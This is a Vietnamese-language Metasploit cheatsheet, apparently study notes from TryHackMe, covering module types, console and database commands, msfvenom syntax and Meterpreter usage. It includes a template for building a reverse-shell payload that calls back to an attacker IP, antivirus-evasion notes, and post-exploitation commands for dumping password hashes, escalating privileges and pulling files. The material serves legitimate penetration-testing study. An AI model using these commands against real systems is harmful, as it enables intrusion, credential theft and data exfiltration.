Metasploit Cheatsheet
Cheatsheet dành cho Metasploit (modules, commands, databases, msfvenom, meterpreter)
Cheatsheet được note lại từ TryHackMe.
Khái niệm
Vulnerability: Lỗi thiết kế hoặc lập trình khiến hệ thống mất an toàn.
Exploit: Đoạn mã khai thác lỗ hổng để đạt điều kiện thực thi.
Payload: Mã được thực thi sau khi exploit thành công, nhằm đạt mục đích (Reverse shell, Meterpreter…).
Modules
auxiliary: Scanner, crawler, fuzzer, v.v.
exploit: Tổ chức theo loại hệ thống mục tiêu và khai thác cụ thể.
payload: Gồm nhiều loại:
singles: Payload độc lập, tự chạy (Ví dụ: generic/shell_reverse_tcp).stagers: Thiết lập kết nối ban đầu (upload stager).stages: Phần payload được tải về sau bởi stager.adapter: Chuyển đổi payload sang định dạng khác (Ví dụ: PowerShell adapter).post: Dùng trong giai đoạn hậu khai thác để thu thập thông tin/leo thang/tiếp quản.encoders: Mã hóa payload để qua mặt antivirus.evasion: Kỹ thuật tránh bị phát hiện (khác với encoder).nops: Không làm gì, dùng để padding payload.
Inline vs Staged Payload
Single (Inline): Dấu gạch dưới → generic/shell_reverse_tcp.
Staged: Dấu gạch chéo → windows/x64/shell/reverse_tcp (Được load dần vào RAM, không ghi ra disk, tránh AV tốt hơn).
Common Commands
search [từ khóa] — Tìm module theo tên/từ khóa.
search type:auxiliary telnet — Tìm module loại auxiliary liên quan telnet.
use [tên module] — Chọn module để cấu hình và chạy.
show options / show payloads / show targets — Hiển thị tùy chọn của module / payload khả dụng / targets hỗ trợ.
info — Hiển thị mô tả chi tiết của module đang dùng.
set [tên biến] [giá trị] / unset [tên biến] — Gán hoặc bỏ biến cho module.
setg [biến toàn cục] [giá trị] / unsetg [biến toàn cục] — Gán hoặc bỏ biến toàn cục (áp dụng cho mọi module).
run / exploit [-z để chạy nền] — Thực thi module; -z chạy không tương tác (background).
background — Đưa phiên làm việc foreground hiện tại về nền.
sessions — Liệt kê các phiên làm việc hiện có.
sessions -i n — Tương tác với phiên có ID = n.
unset all — Xóa toàn bộ biến cục bộ của module đang dùng.
reload_all — Tải lại cơ sở dữ liệu module và module từ đĩa.
save — Lưu cấu hình và biến hiện tại.
Common Options
RHOSTS: IP mục tiêu (hỗ trợ CIDR hoặc file: đường dẫn danh sách IP).
RPORT: Port dịch vụ.
PAYLOAD: Payload đi kèm.
LHOST: IP máy tấn công (máy nhận kết nối reverse).
LPORT: Port máy tấn công sẽ nghe (reverse shell).
SESSION: ID của phiên đã có (dùng cho post module).
THREADS: Số luồng cho auxiliary/brute modules (nhiều module hỗ trợ).
TARGET: Chỉ mục target khi module hỗ trợ nhiều loại target.
Databases
systemctl start postgresql — Khởi động PostgreSQL.
sudo -u postgres msfdb init — Khởi tạo cơ sở dữ liệu Metasploit (tạo DB và user).
sudo -u postgres msfdb delete — Xóa cơ sở dữ liệu Metasploit.
db_status — Kiểm tra trạng thái kết nối DB.
workspace -a [tên] / workspace -d [tên] — Thêm hoặc xóa workspace.
workspace default — Chọn workspace mặc định.
workspace -h — Hiển thị trợ giúp workspace.
hosts — Liệt kê host đã import vào DB.
services — Liệt kê service đã import vào DB.
vulns — Liệt kê vulnerabilities đã lưu.
Tích hợp với Nmap:
db_nmap — Chạy Nmap và lưu kết quả vào DB Metasploit.
hosts -h, services -h — Xem tùy chọn của lệnh hosts/services.
hosts -R — Đổ dữ liệu host vào biến RHOSTS của môi trường.
services -S [tên dịch vụ] — Lọc services theo tên dịch vụ.
msfvenom
msfvenom — Tạo payload (dạng .exe, .ps1, .apk, v.v.).
use exploit/multi/handler — Dùng handler để đón kết nối reverse shell. Handler hỗ trợ mọi payload của Metasploit (kể cả Meterpreter).
Cú pháp tổng quát của msfvenom:
msfvenom -p [payload] LHOST=[attacker_IP] LPORT=[attacker_port] [tùy chọn khác] -f [định_dạng] -o [tên_file]Thành phần:
-p— Chọn payload (Ví dụ:windows/meterpreter/reverse_tcp).LHOST— IP máy tấn công (máy nhận kết nối reverse).LPORT— Port máy tấn công sẽ nghe (phải mở).-f— Định dạng đầu ra (Ví dụ:exe,elf,raw,psh,asp,apk,c).-o— Ghi kết quả ra file (nếu không có thì sẽ in ra stdout).[tùy chọn khác]— Có thể thêm các biến payload khác tùy theo loại payload (ví dụEncoder,Format,AddLHOST).
Tools: venom-builder - PenTest.WS
Meterpreter Payload
Chạy trong RAM, không ghi ra đĩa → Khó bị phát hiện hơn. Tuy nhiên, Antivirus hiện đại vẫn thường nhận ra Meterpreter.
Một số lệnh meterpreter thường dùng:
help— Hiển thị trợ giúp các lệnh meterpreter hiện có đối với payload cụ thể.getuid— Xem quyền hiện tại của phiên.ps— Liệt kê tiến trình trên target.migrate PID— Chuyển meterpreter sang tiến trình khác để ổn định/leo thang.hashdump— Trích xuất password hash từ hệ thống khi có quyền phù hợp.getsystem— Cố gắng leo thang đặc quyền lên SYSTEM/ROOT.search— Tìm file trên hệ thống.download [remote] [local]— Tải file từ target về máy.upload [local] [remote]— Gửi file từ máy lên target.shell— Mở shell tương tác ở target.execute -f [file] -H— Chạy file trên target ẩn/foreground tùy tuỳ chọn.screenshare/screenshot— Chụp màn hình hoặc stream màn hình (nếu module hỗ trợ).